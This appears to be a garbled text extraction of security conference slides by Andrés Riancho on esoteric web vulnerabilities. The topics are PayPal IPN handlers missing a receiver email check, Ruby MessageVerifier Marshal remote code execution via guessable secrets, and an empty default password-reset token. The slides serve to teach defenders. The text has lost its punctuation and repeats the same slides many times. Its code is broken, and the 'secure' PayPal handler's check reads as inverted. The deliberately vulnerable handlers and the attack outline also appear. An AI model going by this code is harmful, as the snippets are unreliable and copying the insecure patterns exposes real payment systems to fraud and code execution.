mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 23: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 24: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 25: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 26: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 27: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 28: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

